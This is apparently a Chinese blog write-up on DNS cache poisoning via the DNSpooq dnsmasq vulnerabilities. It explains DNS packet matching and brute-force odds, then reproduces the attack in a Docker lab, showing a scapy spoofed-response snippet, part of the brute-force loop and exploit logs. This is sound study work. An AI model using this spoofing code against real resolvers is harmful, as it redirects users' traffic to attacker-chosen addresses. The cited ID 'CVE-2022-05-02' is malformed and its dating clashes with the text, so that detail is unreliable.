前言
最近一篇名为《uClibc DNS曝安全漏洞,致使全球数百万物联网设备遭受影响》的报道进入了我们的视线,目前被追踪为 CVE-2022-05-02和ICS-VU-638779。之前也听说过kaminsky 攻击,感觉DNS欺骗这种攻击手法一旦可利用,会造成很大的影响,所以决定学习一番。
1时间线
在互联网上简单搜索相关资料后,发现kaminsky 攻击和DNSpooq攻击的资料较多,通过阅读DNSpooq-Technical-WP,得知了近年来有关DNS欺骗攻击的研究。
2008年, Kaminsky attack,强烈推荐小白看知乎的这篇《一次出人意料而名留青史的DNS投毒攻击》来入门和了解Kaminsky attack。
2017年,google公布了多个dnsmasq漏洞
2020年,分片攻击,该攻击假设从递归解析器发送的数据包的 IPID 是可预测的,这种情况很容易集中解决,并且并非所有递归解析器都属于这种情况,包括流行的解析器。此外,要使 IPID 预测成功,攻击者必须控制 LAN 上的机器。这个和其他限制使得碎片整理攻击难以在对 Internet 开放的 dnsmasq 实例上执行。这篇文章也进行了分析
2020年,SAD DNS,通过侧信道猜测使用利用 ICMP“端口不可达”数据包和 ICMP 全局速率限制功能的侧通道成功击败源端口随机化。这种攻击允许 DNS 缓存中毒,并且本质上是操作系统中的一个缺陷,而不是任何 DNS 软件
2020年,dnsmasq 的漏洞 (CVE-2020-25681-CVE-2020-25687)
2021年5月2日,uClibc DNS曝安全漏洞
综上,决定先搞清楚JSOF公司发现的DNSpooq。JSOF公司公布的信息中,列出了一些影响厂商,只是潜在的影响,并不是确认这7个洞一定会影响。
dnsmasq 的软件相关的七个漏洞统称为 DNSpooq,大致分为两类
DNS缓存中毒CVE-2020-25686、CVE-2020-25684、CVE-2020-25685
缓冲区溢出CVE-2020-25687、CVE-2020-25683、CVE-2020-25682、CVE-2020-25681
2 缓存投毒原理
DNS缓存投毒又称DNS欺骗
是一种通过查找并利用DNS系统中存在的漏洞
将流量从合法服务器引导至虚假服务器上的攻击方式
3 DNS基本知识
3.1DNS基础
DNS主要是负责把域名解析为IP
传统的DNS解析主要涉及Stub Resolver(存根解析器)、Recursive Resolver(递归解析器)和Authoritative Resolver(权威域名解析器)
权威域名解析器能够从自己的数据满足查询,而不需要引用其他来源,即能够给出DNS查询请求的权威应答
递归解析器则是通过询问其他域名服务器获取答案,递归解析器最后能够权威域名解析器得到查询响应
根据DNS协议的初始标准,当域名需要解析时,DNS客户端向递归解析器发送查询请求,递归解析器会从权威域名解析获取答案,然后将结果返回给客户端。
图片来源:https://zhuanlan.zhihu.com/p/383254776
简单点来讲
DNS服务器分为本地DNS服务器和权威DNS服务器
我们的电脑或者手机都会设置有DNS服务器的地址(通常被自动配置而无需手工配置),这个是本地DNS服务器。
(其中114.114.114.114(国内移动、电信和联通 通用的DNS服务器),8.8.8.8(Google DNS服务器)这种公用DNS服务器也叫本地DNS服务器)
当浏览器拿到 http://www.baidu.com需要解析时,就会问本地DNS服务器,是否知道IP地址是多少
本地DNS服务器如果知道就会直接回复,如果不知道,就会上网询问,一层一层询问,直到得到正确的IP地址。
当本地DNS服务器得到正确答案后,就会记录到DNS缓存中。只要缓存不过期,就会无条件信任并直接跳转
3.2 DNS数据报文
DNS是通过UDP协议发送数据,数据格式大致如下:
[IP报头[UDP报头[DNS数据报文]]]
DNS报文的数据格式如下
DNS报文:|QID|问题区|应答区|权威区|附加区|
其中:
QID:表示查询ID,用于匹配查询报文和响应报文的
问题区:主要是所查询的问题(可以是一个或多个)
应答区:查询到问题的答案(可以是一条或多条,可以是A记录也可以是CNAME记录或NS记录)
权威区:这里主要是记录权威DNS的NS记录(可以是一条或多条)
附加区:这里存放附加的一些记录。比如在给出权威NS记录时(NS记录中没有IP),会把它的A记录放在这里(为的是防止陷入死循环)
本地DNS服务器每次查询发送的QID都是随机的
因为DNS报文是通过UDP协议发送的,所以这里是为了方便将查询和响应的内容匹配在一起
同时,对于IP不对的、UDP源端口不对的,格式不对的、QID不对的,域名不对的,应答不对的,以及其他各种莫名其妙的包,都会被本地DNS服务器抛弃
最后
查询报文,只是填写QID和问题区,后面几个区不用填写内容。
响应报文,会填写QID(和对应查询包中的QID一致)、问题区(和对应查询包中的问题一致),还会填写后面几个区:应答区、权威区(也即填写权威DNS的区域,)、附加区。
4局域网实现
首先,我们选择研究的漏洞是DNSpooq
主要是因为该漏洞相对比较新,受影响设备比较广
同时在Kaminsky漏洞的基础上,进行了优化,可以覆盖已有缓存
参考项目:https://github.com/knqyf263/dnspooq
借用项目作者的图说一下原理
首先先开启3个容器,分别是attack(攻击机器),forwarder(DNS转发器),cache server(DNS服务器)
1. 攻击机器向转发器发送大量查询报文
2. 转发器向服务器查询解析域名
3. 攻击机器伪装成服务器,向转发器回复构造后的响应报文,并实现投毒
这里的问题有2个,第一是如何才能伪装成服务器,第二是怎么构造响应报文进行投毒
4.1 如何匹配正确的QID和源端口号
为了进行DNS缓存中毒,需要两个数据:
QID
UDP源端口(需要注意,53是DNS协议端口,并非此处提到的源端口)
在上文中提到,DNS服务器是通过QID来匹配查询报文和响应报文的,而且我们要在服务器正确响应之前发送
并且,每次发送查询报文,QID都会不一样,QID字段是16位,所以一共需要爆破2^16次
而UDP源端口号,指的是每次数据发送的端口号,在2008年以前是固定的,在发布了Kaminsky漏洞后,源端口也开始随机
所以也需要爆破2^16次
所以一共需要爆破的次数是2^32次,
每次最多同时发送150个包
假设在100M的网络上发送90字节的数据包,每秒大约可以发送145635个
最后得出结论,大约需要2^32/150/145635=196.6秒
4.2 如何通过构造报文进行投毒
先看代码
res = Ether() / \
IP(src="10.10.0.4", dst="10.10.0.2") / \
UDP(sport=53, dport=0) / \
DNS(id=0, qr=1, ra=1, qd=qd,
an=DNSRR(rrname="example.com", ttl=900, rdata="google.com", type="CNAME", rclass="IN") /
DNSRR(rrname="google.com", ttl=900, rdata="169.254.169.254", type="A", rclass="IN"))
dns_layer = req[DNS]
udp_layer = req[UDP]
逻辑很简单,查询包问的是http://example.com(不存在)的ip是多少
响应包回答的是,http://example.com 也叫 http://google.com,http://google.com的IP地址是 169.254.169.254
所以就成功的把 http://google.com的缓存覆盖成 169.254.169.254
同时,由于应答区最多可存10条数据,所以一次最多投毒10条
4.3 构建环境
攻击逻辑清楚后,直接搭建环境进行攻击
git clone https://github.com/knqyf263/dnspooq
cd dnspooq
docker-compose up -d
开启三个命令行
1. 进入attack容器,执行exp脚本
$ docker-compose exec attacker bash
bash-5.0# python exploit.py
Querying non-cached names...
Generating spoofed packets...
Poisoned: b'google.com.' => 169.254.169.254
sent 3032017 responses in 50.309 seconds
2. 进入forwarder容器查看日志
$ docker-compose logs -f forwarder
...
forwarder_1 | dnsmasq[1]: query[A] example.com from 10.10.0.3
forwarder_1 | dnsmasq[1]: forwarded example.com to 10.10.0.4
forwarder_1 | dnsmasq[1]: cached example.com is
forwarder_1 | dnsmasq[1]: cached google.com is 169.254.169.254
3. 进入cache容器查看日志
$ docker-compose logs -f cache
Attaching to dnspooq_cache_1
cache_1 | Sniffing...
cache_1 | Source port: 46816, TXID: 16476, Query: b'example.com.'
cache_1 | Source port: 16718, TXID: 54280, Query: b'example.com.'
...
cache_1 | Source port: 46816, TXID: 56240, Query: b'example.com.'
cache_1 | Source port: 46816, TXID: 24160, Query: b'example.com.'
cache_1 | Source port: 46816, TXID: 18189, Query: b'example.com.'
cache_1 | Source port: 46816, TXID: 40361, Query: b'example.com.'
cache_1 | Source port: 46816, TXID: 13100, Query: b'example.com.'
cache_1 | Source port: 46816, TXID: 47303, Query: b'example.com.'
通过EXP脚本,我们可以看到,每65535次,就会查询一下http://google.com的IP是多少
如果查到了就返回结果
这里缺少了一步验证,如果查到http://google.com的IP地址是169.254.169.254才算投毒成功
或者把投毒的域名换成不存在的域名也可以
for txid, sport in candidates:
# Update TXID and UDP dst port
patch(dns_frame, pseudo_hdr, txid, sport)
s2.send(dns_frame)
n_pkts += 1
if sport == 65535:
res = sr1(verify, verbose=0, iface="eth0", timeout=0.01)
if res is not None and res.haslayer(DNSRR):
print(f"Poisoned: {res[DNSRR].rrname} => {res[DNSRR].rdata}")
break
end_time = time.time()
print(f"sent {n_pkts} responses in {end_time - start_time:.3f} seconds")
这里可以看到,http://google.com的缓存地址已经被投毒成功
共计爆破15482640次,用时540秒(网速问题)
5外网实现
在容器中实现成功,我们打算在实际环境中继续实验
分别搭建三台机器,对应上面三个容器
但是却失败了,通过日志也发现了一些异常
通过查找资料,我们找到了问题的关键
是因为在外网环境中,攻击机器向转发器发送查询包后,转发器并不会直接询问服务器,而是会先通过路由器的DNS服务
也就是我们的公用DNS服务(114.114.114.114),这里叫做上游DNS服务
当查询不到结果时,上游DNS服务就会给出2秒超时
所以我们的实际攻击时间只有2秒
所以在局域网中的攻击方式就行不通
6思考
值得一提的是,作者在文章中表示可以通过减小熵等方式,降低要匹配的次数,最终能实现4秒内完成攻击。也就意味着在外网平均每2次攻击就能生效,但并没有披露相关细节。
单看此漏洞,只是通过爆破的方式,实现在局域网内的攻击,非常鸡肋。但如果通过技术手段,能够减小爆破次数,或者提高爆破的效率,就完全是另一种效果。
7 参考链接
https://zhuanlan.zhihu.com/p/92899876
https://www.wangan.com/p/7fy7f672ed7c4ec7
https://www.jsof-tech.com/wp-content/uploads/2021/01/DNSpooq-Technical-WP.pdf